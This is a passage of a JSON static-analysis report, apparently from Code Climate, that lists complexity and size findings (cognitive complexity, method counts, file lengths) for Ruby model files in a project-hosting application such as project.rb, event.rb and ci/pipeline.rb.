`create_or_update_import_data` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"669b48913bc191fe053ef3cf863c7b51","location":{"path":"app/models/project.rb","lines":{"begin":691,"end":706}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `ensure_import_state` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c647270223f46682704c8933072ea030","location":{"path":"app/models/project.rb","lines":{"begin":732,"end":745}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `check_limit` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"238a83e94e0d19d7e5bf774e737f1856","location":{"path":"app/models/project.rb","lines":{"begin":887,"end":899}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `find_or_initialize_services` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b5c439340a2145fd43e3c155a46b8084","location":{"path":"app/models/project.rb","lines":{"begin":1084,"end":1110}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `check_repository_path_availability` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"84ad9cf46f3288017a0f4b6db6438a6c","location":{"path":"app/models/project.rb","lines":{"begin":1302,"end":1316}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `after_create_default_branch` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"2a2d29b10f840adb402e27183b8afb0e","location":{"path":"app/models/project.rb","lines":{"begin":1685,"end":1704}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `container_registry_variables` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"22330faec24429812d37099efaf8566b","location":{"path":"app/models/project.rb","lines":{"begin":1811,"end":1821}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `handle_update_attribute_error` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"103e8043443b236e57b2b71b4071ed2a","location":{"path":"app/models/project.rb","lines":{"begin":2240,"end":2250}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `fetch_branch_allows_collaboration?` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0a44b195efa5fdd8f8a133a9382fe540","location":{"path":"app/models/project.rb","lines":{"begin":2252,"end":2276}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Project` has 258 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"64039fbe3749f7d87b4ba7e85868d7fc","location":{"path":"app/models/project.rb","lines":{"begin":5,"end":2277}},"other_locations":[],"remediation_points":25000000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `service.rb` has 261 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"f45455ad20cdb5129a3bfb9eebb6498b","location":{"path":"app/models/service.rb","lines":{"begin":5,"end":346}},"other_locations":[],"remediation_points":1358400,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Service` has 40 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"96ce9f4a9d59b553ec55116c8a3be7ae","location":{"path":"app/models/service.rb","lines":{"begin":5,"end":346}},"other_locations":[],"remediation_points":3200000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `available_services_names` has 34 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"f2ec9d5c5ae446fb75d746688a3a72fe","location":{"path":"app/models/service.rb","lines":{"begin":247,"end":284}},"other_locations":[],"remediation_points":816000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `raw_binary?` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0ae3aeb7a760efb26099272499cfbade","location":{"path":"app/models/blob.rb","lines":{"begin":161,"end":175}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Blob` has 27 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"a44f4d9e927f1b91399b8e17fb943f6d","location":{"path":"app/models/blob.rb","lines":{"begin":4,"end":254}},"other_locations":[],"remediation_points":1900000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `event.rb` has 309 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"6850b538f65ad91cf5c5ef2e7148924e","location":{"path":"app/models/event.rb","lines":{"begin":3,"end":410}},"other_locations":[],"remediation_points":2049600,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `visible_to_user?` has a Cognitive Complexity of 15 (exceeds 5 allowed). Consider refactoring.","fingerprint":"29269e08d03641e18bd2ba7cd22a0d3f","location":{"path":"app/models/event.rb","lines":{"begin":151,"end":167}},"other_locations":[],"remediation_points":1150000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `action_name` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f28caae33540f5326e5ce2d58a03d771","location":{"path":"app/models/event.rb","lines":{"begin":265,"end":287}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Event` has 50 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"613c580b618dad28f34b389f766efe2e","location":{"path":"app/models/event.rb","lines":{"begin":3,"end":410}},"other_locations":[],"remediation_points":4200000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `different_group` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"2ac2c358921313bb5981e964133c5ecf","location":{"path":"app/models/project_group_link.rb","lines":{"begin":38,"end":49}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `merge_request_version_params` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8d1a8357abf058d725c59df9cca495bf","location":{"path":"app/models/diff_discussion.rb","lines":{"begin":25,"end":36}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `active?` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"772f6211e69bcffb4fbc411c5d7d31c3","location":{"path":"app/models/legacy_diff_note.rb","lines":{"begin":57,"end":75}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this method.","location":{"path":"app/models/legacy_diff_note.rb","lines":{"begin":62,"end":62}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"4e0039e61f3fd67caeb1b978db868447"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `group.rb` has 290 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"d9e231fdbc15e514e21e1596b5e2d930","location":{"path":"app/models/group.rb","lines":{"begin":3,"end":403}},"other_locations":[],"remediation_points":1776000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Group` has 53 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"f82613684deaaf389431887bc5a62c74","location":{"path":"app/models/group.rb","lines":{"begin":5,"end":403}},"other_locations":[],"remediation_points":4500000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Label` has 25 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"9660fb59aa00ace0b608078c78c611a4","location":{"path":"app/models/label.rb","lines":{"begin":3,"end":244}},"other_locations":[],"remediation_points":1700000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `has_intermediates?` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"fc033b957f3fcb1bd690b7edb50aa441","location":{"path":"app/models/pages_domain.rb","lines":{"begin":79,"end":98}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `PagesDomain` has 24 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"389a0c10cffbc7cd770d8d67a31e61ba","location":{"path":"app/models/pages_domain.rb","lines":{"begin":3,"end":201}},"other_locations":[],"remediation_points":1600000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `generate_slug` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0d507615693230a051c9d4ae397fe5d2","location":{"path":"app/models/environment.rb","lines":{"begin":178,"end":203}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Environment` has 27 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"4140683d4224f01a7fe2fad0da3d11c6","location":{"path":"app/models/environment.rb","lines":{"begin":3,"end":243}},"other_locations":[],"remediation_points":1900000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `ProjectWiki` has 29 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"a7ff4b093a326a93bf1e0887a36ba898","location":{"path":"app/models/project_wiki.rb","lines":{"begin":3,"end":203}},"other_locations":[],"remediation_points":2100000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `track` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d55ffd71690c0e606bcb1fa48074affd","location":{"path":"app/models/user_interacted_project.rb","lines":{"begin":16,"end":41}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `update` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8737f9bae4ea49696d911b5b162784ef","location":{"path":"app/models/wiki_page.rb","lines":{"begin":215,"end":244}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `process_title` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"43c91a5205fef35946442db85ab54267","location":{"path":"app/models/wiki_page.rb","lines":{"begin":283,"end":295}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `WikiPage` has 35 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"35e7d7ce82a5641563ba1029c54645bc","location":{"path":"app/models/wiki_page.rb","lines":{"begin":4,"end":326}},"other_locations":[],"remediation_points":2700000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `update_position` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"fa4f67c27ab14379e44af70d58264c1a","location":{"path":"app/models/diff_note.rb","lines":{"begin":152,"end":173}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `append` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d527adfd814d095e55079d7a898a3fc3","location":{"path":"app/models/ci/build_trace_chunk.rb","lines":{"begin":74,"end":84}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `pipeline.rb` has 488 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"cee8532683fbbb22a3b807c5714c49c7","location":{"path":"app/models/ci/pipeline.rb","lines":{"begin":3,"end":671}},"other_locations":[],"remediation_points":4627200,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `ci_yaml_from_repo` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f19177ae4080cc2c9d81a39383b45922","location":{"path":"app/models/ci/pipeline.rb","lines":{"begin":632,"end":639}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Pipeline` has 68 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"af1e8c39d8b166628ae043bce72269a5","location":{"path":"app/models/ci/pipeline.rb","lines":{"begin":4,"end":670}},"other_locations":[],"remediation_points":6000000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `build.rb` has 604 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"7967fd1fb861d27e33c208d88261cd76","location":{"path":"app/models/ci/build.rb","lines":{"begin":3,"end":809}},"other_locations":[],"remediation_points":6297600,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method 